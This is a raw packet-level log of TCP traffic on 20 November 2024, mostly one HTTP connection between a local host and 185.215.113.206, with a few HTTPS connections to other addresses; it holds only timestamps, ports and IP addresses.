Nov 20, 2024 18:57:49.880563021 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.880603075 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.880642891 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.881390095 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.881443977 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.881453991 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.881494045 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.882144928 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.882196903 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.882244110 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.882370949 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.882951021 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.883003950 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.883089066 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.883132935 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.883868933 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.883919954 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.883936882 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.883976936 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.884582043 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.884628057 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.884663105 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.884697914 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.885396004 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.885441065 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.885500908 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.885539055 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.886205912 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.886259079 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.886265039 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.886301041 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.887018919 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.887034893 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.887072086 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.887082100 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.887816906 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.887883902 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.887911081 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.887947083 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.888644934 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.888712883 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.888729095 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.888776064 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.889470100 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.889529943 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.889604092 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.889647961 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.890285015 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.890336037 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.890336037 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.890376091 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.891058922 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.891127110 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.891150951 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.891195059 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.891923904 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.891935110 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.891978979 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.891990900 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.892750025 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.892760038 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.892818928 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.893479109 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.893522024 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.893543959 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.893582106 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.894309998 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.894361019 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.894376993 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.894417048 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.895138979 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.895188093 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.895209074 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.895247936 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.895952940 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.895998001 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.896047115 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.896117926 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.896853924 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.896903038 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.896981955 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.897018909 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.897495985 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.897543907 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.054172039 CET	443	49872	13.107.246.40	192.168.2.6
Nov 20, 2024 18:57:50.054200888 CET	443	49872	13.107.246.40	192.168.2.6
Nov 20, 2024 18:57:50.054265976 CET	443	49872	13.107.246.40	192.168.2.6
Nov 20, 2024 18:57:50.054316044 CET	49872	443	192.168.2.6	13.107.246.40
Nov 20, 2024 18:57:50.067712069 CET	49872	443	192.168.2.6	13.107.246.40
Nov 20, 2024 18:57:50.067725897 CET	443	49872	13.107.246.40	192.168.2.6
Nov 20, 2024 18:57:50.067811966 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.067881107 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.067917109 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.067955971 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.068240881 CET	443	49874	13.107.246.40	192.168.2.6
Nov 20, 2024 18:57:50.068249941 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.068274975 CET	443	49874	13.107.246.40	192.168.2.6
Nov 20, 2024 18:57:50.068301916 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.068320036 CET	49874	443	192.168.2.6	13.107.246.40
Nov 20, 2024 18:57:50.068329096 CET	443	49874	13.107.246.40	192.168.2.6
Nov 20, 2024 18:57:50.068352938 CET	443	49874	13.107.246.40	192.168.2.6
Nov 20, 2024 18:57:50.068384886 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.068394899 CET	49874	443	192.168.2.6	13.107.246.40
Nov 20, 2024 18:57:50.068416119 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.069073915 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.069122076 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.069129944 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.069272041 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.069888115 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.069937944 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.070050001 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.070086002 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.071038961 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.071090937 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.071177006 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.071310043 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.071604967 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.071645021 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.071676016 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.071712017 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.072328091 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.072364092 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.072371006 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.072406054 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.073118925 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.073159933 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.073215008 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.073251963 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.073934078 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.073968887 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.073976994 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.074002028 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.074762106 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.074800968 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.074877977 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.074915886 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.075556040 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.075627089 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.075666904 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.076383114 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.076395988 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.076442003 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.077194929 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.077291965 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.077316999 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.077327013 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.078047991 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.078088999 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.078166008 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.078386068 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.078824043 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.078874111 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.078947067 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.078990936 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.079607010 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.079648018 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.079669952 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.079704046 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.080460072 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.080504894 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.080616951 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.080686092 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.081267118 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.081319094 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.081391096 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.081432104 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.082170963 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.082211018 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.082231045 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.082273006 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.082906008 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.082967043 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.083044052 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.083084106 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.083725929 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.083848000 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.083852053 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.083890915 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.084500074 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.084613085 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.084671021 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.085294962 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.085382938 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.085433960 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.085474014 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.086221933 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.086369038 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.086390018 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.086415052 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.086962938 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.086983919 CET	49874	443	192.168.2.6	13.107.246.40
Nov 20, 2024 18:57:50.086997986 CET	443	49874	13.107.246.40	192.168.2.6
Nov 20, 2024 18:57:50.087016106 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.087025881 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.087063074 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.087768078 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.087781906 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.087831020 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.088668108 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.088877916 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.088933945 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.088949919 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.089385033 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.089474916 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.089493036 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.089551926 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.092262983 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.092269897 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.092277050 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.092289925 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.092295885 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.092304945 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.092327118 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.092363119 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.092657089 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.092722893 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.092812061 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.092885971 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.093513966 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.093560934 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.093715906 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.094005108 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.094274998 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.094324112 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.094341040 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.094410896 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.095073938 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.095118999 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.095875025 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.095881939 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.095944881 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.096194029 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.096281052 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.096699953 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.096815109 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.096893072 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.097848892 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.097913027 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.098088026 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.098169088 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.098321915 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.098329067 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.098375082 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.099178076 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.099318981 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.099371910 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.099929094 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.100029945 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.100053072 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.100100994 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.100744009 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.100828886 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.100851059 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.100895882 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.102528095 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.102615118 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.102673054 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.102771997 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.102778912 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.102788925 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.102816105 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.103205919 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.103352070 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.103357077 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.103457928 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.103996038 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.104110956 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.104203939 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.104851007 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.104898930 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.105005026 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.105065107 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.105626106 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.105664015 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.105707884 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.107023001 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.107096910 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.107264996 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.107336044 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.107357979 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.107417107 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.107558966 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.107669115 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.108156919 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.108239889 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.108267069 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.108315945 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.108978033 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.109034061 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.109107971 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.109196901 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.109668016 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.109729052 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.109827995 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.110001087 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.110424995 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.110677958 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.139616013 CET	49889	443	192.168.2.6	150.171.27.10
Nov 20, 2024 18:57:50.139646053 CET	443	49889	150.171.27.10	192.168.2.6
Nov 20, 2024 18:57:50.139729023 CET	49889	443	192.168.2.6	150.171.27.10
Nov 20, 2024 18:57:50.145648956 CET	49889	443	192.168.2.6	150.171.27.10
Nov 20, 2024 18:57:50.145664930 CET	443	49889	150.171.27.10	192.168.2.6
Nov 20, 2024 18:57:50.163661957 CET	443	49875	13.107.246.40	192.168.2.6
Nov 20, 2024 18:57:50.163690090 CET	443	49875	13.107.246.40	192.168.2.6
Nov 20, 2024 18:57:50.163741112 CET	49875	443	192.168.2.6	13.107.246.40
Nov 20, 2024 18:57:50.163769007 CET	443	49875	13.107.246.40	192.168.2.6
Nov 20, 2024 18:57:50.163783073 CET	443	49875	13.107.246.40	192.168.2.6
Nov 20, 2024 18:57:50.163831949 CET	49875	443	192.168.2.6	13.107.246.40
Nov 20, 2024 18:57:50.164875031 CET	443	49877	23.44.203.27	192.168.2.6
Nov 20, 2024 18:57:50.166480064 CET	49877	443	192.168.2.6	23.44.203.27
Nov 20, 2024 18:57:50.166491032 CET	443	49877	23.44.203.27	192.168.2.6
Nov 20, 2024 18:57:50.166960001 CET	443	49877	23.44.203.27	192.168.2.6
Nov 20, 2024 18:57:50.167542934 CET	49877	443	192.168.2.6	23.44.203.27
Nov 20, 2024 18:57:50.167737961 CET	443	49877	23.44.203.27	192.168.2.6
Nov 20, 2024 18:57:50.170774937 CET	49875	443	192.168.2.6	13.107.246.40
Nov 20, 2024 18:57:50.170789003 CET	443	49875	13.107.246.40	192.168.2.6
Nov 20, 2024 18:57:50.201730967 CET	49890	443	192.168.2.6	150.171.27.10
Nov 20, 2024 18:57:50.201776981 CET	443	49890	150.171.27.10	192.168.2.6
Nov 20, 2024 18:57:50.201939106 CET	49890	443	192.168.2.6	150.171.27.10
Nov 20, 2024 18:57:50.212395906 CET	49890	443	192.168.2.6	150.171.27.10
Nov 20, 2024 18:57:50.212413073 CET	443	49890	150.171.27.10	192.168.2.6
Nov 20, 2024 18:57:50.239490986 CET	49877	443	192.168.2.6	23.44.203.27
Nov 20, 2024 18:57:50.279113054 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.279172897 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.279189110 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.279244900 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.279476881 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.279536963 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.279583931 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.280308962 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.280375957 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.280495882 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.280540943 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.281104088 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.281155109 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.281215906 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.281258106 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:50.281951904 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.282017946 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:50.282064915 CET	49794	80	192.168.2.6	185.215.113.206
